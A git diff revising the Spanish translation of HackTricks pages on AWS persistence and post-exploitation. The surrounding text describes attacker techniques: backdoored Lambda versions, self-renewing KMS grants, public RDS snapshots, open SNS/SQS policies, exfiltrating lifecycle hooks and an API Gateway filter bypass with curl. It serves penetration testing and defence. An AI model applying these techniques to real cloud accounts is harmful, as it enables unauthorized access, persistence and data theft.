+Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será cerrada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
 
 ### Administrador del Ciclo de Vida de EC2
 
@@ -27,7 +27,7 @@ Es posible programar instancias para que se ejecuten diariamente, semanalmente o
 
 ### Solicitud de Flota Spot
 
-Las instancias spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot inicia** y la **dirección IP** y con un **rol IAM de alto privilegio**.
+Las instancias Spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot se inicie** y la **dirección IP** y con un **rol IAM de alto privilegio**.
 
 ### Instancias de Puerta Trasera
 
@@ -39,16 +39,16 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera:
 
 ### **Configuración de Lanzamiento de Puerta Trasera**
 
-- Poner una puerta trasera en el AMI utilizado
+- Poner una puerta trasera en la AMI utilizada
 - Poner una puerta trasera en el User Data
 - Poner una puerta trasera en el Par de Claves
 
 ### VPN
 
-Crea una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
+Crear una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
 
 ### Peering de VPC
 
-Crea una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
+Crear una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### Imagen de Docker Oculta con Código Malicioso
 
-Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
+Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
 
 ### Política del Repositorio
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,4 +1,4 @@
-# AWS - ECS Persistence
+# AWS - Persistencia en ECS
 
 {{#include ../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -4,7 +4,7 @@
 
 ## EFS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-efs-enum.md

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

@@ -1,4 +1,4 @@
-# AWS - Persistencia en Elastic Beanstalk
+# AWS - Elastic Beanstalk Persistence
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -22,12 +22,12 @@ Un atacante podría insertar una puerta trasera en el código dentro del reposit
 
 En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera.
 
-### Abusando de los Hooks del Ciclo de Vida de Recursos Personalizados
+### Abusando de los Ganchos del Ciclo de Vida de Recursos Personalizados
 
 > [!NOTE]
-> TODO: Probar
+> TODO: Test
 
-Elastic Beanstalk proporciona hooks de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un hook de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
+Elastic Beanstalk proporciona ganchos de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
 ```bash
 bashCopy code# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -42,6 +42,6 @@ Otorgar permisos de Administrador a una política que no sea su última versión
 
 ### Puerta Trasera / Crear Proveedor de Identidad
 
-Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían aumentarse para que el atacante pueda abusar de ellas.
+Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían ser aumentadas para que el atacante pueda abusar de ellas.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -12,15 +12,15 @@ Para más información, consulta:
 
 ### Conceder acceso a través de políticas de KMS
 
-Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de Privesc de KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
+Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
 
-### Concesión Eterna
+### Grant eterno
 
-Las concesiones son otra forma de dar a un principal algunos permisos sobre una clave específica. Es posible dar una concesión que permita a un usuario crear concesiones. Además, un usuario puede tener varias concesiones (incluso idénticas) sobre la misma clave.
+Los grants son otra forma de otorgar a un principal algunos permisos sobre una clave específica. Es posible dar un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma clave.
 
-Por lo tanto, es posible que un usuario tenga 10 concesiones con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 concesión, se deberían generar otras 10.
+Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 grant, se deberían generar otros 10.
 
-(Estamos usando 10 y no 2 para poder detectar que se eliminó una concesión mientras el usuario aún tiene alguna concesión)
+(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario aún tiene algún grant)
 ```bash
 # To generate grants, generate 10 like this one
 aws kms create-grant \

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -4,7 +4,7 @@
 
 ## Lambda
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### Persistencia de Lambda Layer
 
-Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
+Es posible **introducir/puerta trasera una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
 
 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
 
 ### Persistencia de Extensiones de Lambda
 
-Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
+Abusando de las Lambda Layers también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -36,25 +36,25 @@ Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actual
 
 Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
 Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
-De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
+De esta manera, un atacante podría crear una **versión 1 con puerta trasera** y una **versión 2 solo con el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
 
 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
 
-### Backdoor de Versión + API Gateway
+### Puerta trasera de versión + API Gateway
 
 1. Copia el código original de la Lambda
-2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
+2. **Crea una nueva versión con puerta trasera** del código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
 1. Llama al API gateway relacionado con la lambda para ejecutar el código
 3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
-1. Esto ocultará el código con backdoor en una versión anterior
-4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario).
+1. Esto ocultará el código con puerta trasera en una versión anterior
+4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con puerta trasera de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con puerta trasera en este escenario).
 5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
-6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado
+6. Ahora, cuando **llames a la función vía POST tu Puerta Trasera** será invocada
 
 ### Actuador Cron/Event
 
-El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
+El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa el tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
 Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
 
 - Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

@@ -6,8 +6,8 @@
 
 Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
 
-- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
-- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
+- **Extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
+- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
 
 Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
@@ -15,18 +15,18 @@ Para más información sobre [**cómo funcionan las extensiones de lambda, consu
 
 Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
-Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
+Se encontró que el kernel de Linux por defecto en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
 
 Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
 
-El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
+El proceso Init (Rapid) monitorea todas las solicitudes API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda son inicializadas y ejecutadas antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
 La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
 
 > [!WARNING]
-> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto.
+> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que habilita la alteración del número de puerto.
 
 Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
 

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md

@@ -6,7 +6,7 @@
 
 Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración.
 
-Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
+Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, el **contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
 
 Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada.
 
@@ -54,7 +54,7 @@ Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defect
 
 En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**.
 
-Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que sea cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
 Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\
 Este archivo debe:
 

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,4 +1,4 @@
-# AWS - Lightsail Persistence
+# AWS - Persistencia en Lightsail
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -20,14 +20,14 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera:
 
 - Usando un **rootkit** tradicional, por ejemplo
 - Agregando una nueva **clave SSH pública**
-- Exponer un puerto con port knocking con una puerta trasera
+- Exponiendo un puerto con port knocking con una puerta trasera
 
 ### Persistencia DNS
 
 Si los dominios están configurados:
 
-- Crear un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
-- Crear un registro **SPF** que te permita enviar **emails** desde el dominio
-- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP a las legítimas
+- Crea un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
+- Crea un registro **SPF** que te permita enviar **emails** desde el dominio
+- Configura la **IP del dominio principal a la tuya** y realiza un **MitM** desde tu IP a las legítimas
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -1,4 +1,4 @@
-# AWS - RDS Persistence
+# AWS - Persistencia en RDS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,13 +12,13 @@ Para más información, consulta:
 
 ### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance`
 
-Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar la accesibilidad pública**.
+Un atacante con este permiso puede **modificar una instancia de RDS existente para habilitar la accesibilidad pública**.
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
 ### Crear un usuario administrador dentro de la DB
 
-Un atacante podría **crear un usuario dentro de la DB** para que incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
+Un atacante podría **crear un usuario dentro de la DB** para que, incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
 
 ### Hacer la instantánea pública
 ```bash

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,4 +1,4 @@
-# AWS - Persistencia en Secrets Manager
+# AWS - Persistencia de Secrets Manager
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### A través de Políticas de Recursos
 
-Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que encripta el secreto**.
+Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**.
 
 ### A través de Lambda de Rotación de Secretos
 

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -4,7 +4,7 @@
 
 ## SNS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### Persistence
 
-Al crear un **tema SNS**, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
+Al crear un **tema SNS** necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
 La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**:
 ```json
 {

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -4,15 +4,15 @@
 
 ## SQS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Usando política de recursos
+### Usando la política de recursos
 
-En SQS, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
+En SQS necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
 La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**:
 ```json
 {
@@ -32,6 +32,6 @@ La siguiente política le da a todos en AWS acceso a todo en la cola llamada **M
 }
 ```
 > [!NOTE]
-> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se coloca un nuevo mensaje** en la cola (tendrías que volver a colocarlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se ponga un nuevo mensaje** en la cola (tendrías que volver a ponerlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md

@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM Persistencia

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -10,12 +10,12 @@ Para más información, consulta:
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Puerta trasera en funciones de paso
+### Inyección de Backdoor en Step Functions
 
-Poner una puerta trasera en una función de paso para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
+Inyecta un backdoor en una step function para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
 
-### Puertas traseras en alias
+### Inyección de Backdoor en alias
 
-Si la cuenta de AWS está utilizando alias para llamar a las funciones de paso, sería posible modificar un alias para usar una nueva versión con puerta trasera de la función de paso.
+Si la cuenta de AWS está utilizando alias para llamar a las step functions, sería posible modificar un alias para usar una nueva versión con backdoor de la step function.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md

@@ -10,7 +10,7 @@ Para más información accede a:
 ../aws-services/aws-sts-enum.md
 {{#endref}}
 
-### Token de rol asumido
+### Token de asunción de rol
 
 Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
 
@@ -26,9 +26,9 @@ aws sts get-session-token \
 </strong># El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Malabarismo de Cadenas de Roles
+### Malabarismo de Cadenas de Rol
 
-[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizada para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
+[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
 
 Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles:
 ```bash

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -4,18 +4,18 @@
 
 ## API Gateway
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Acceso a APIs no expuestas
+### Acceder a APIs no expuestas
 
 Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\
 Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente.
 
-### Bypass Request body passthrough
+### Eludir el paso del cuerpo de la solicitud
 
 Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
@@ -28,7 +28,7 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi
 ```
 Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro.
 
-Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta de dynamoDB arbitraria sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
+Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta arbitraria de dynamoDB sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
@@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
 
 En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**.
 
-La **API Key** solo necesita ser **incluida** dentro de un **encabezado HTTP** llamado **`x-api-key`**.
+La **API Key** solo necesita ser **incluida** dentro de un **HTTP header** llamado **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
@@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
 
-> [!NOTE]
+> [!NOTA]
 > Necesita pruebas
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
@@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API.
 
-> [!NOTE]
+> [!NOTA]
 > Necesita pruebas
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
@@ -91,12 +91,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
 
-> [!NOTE]
+> [!NOTA]
 > Necesita pruebas
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
+Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Debilitar la seguridad de la API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible.
+**Impacto Potencial**: Debilitamiento de la seguridad de la API, lo que podría permitir el acceso no autorizado o exponer información sensible.
 
 > [!NOTE]
 > Necesita pruebas

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## CloudFront
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-cloudfront-enum.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md

@@ -56,7 +56,7 @@ aws codebuild delete-project --name <value>
 ```
 **Impacto Potencial**: Pérdida de la configuración del proyecto y interrupción del servicio para las aplicaciones que utilizan el proyecto eliminado.
 
-### `codebuild:TagResource`, `codebuild:UntagResource`
+### `codebuild:TagResource` , `codebuild:UntagResource`
 
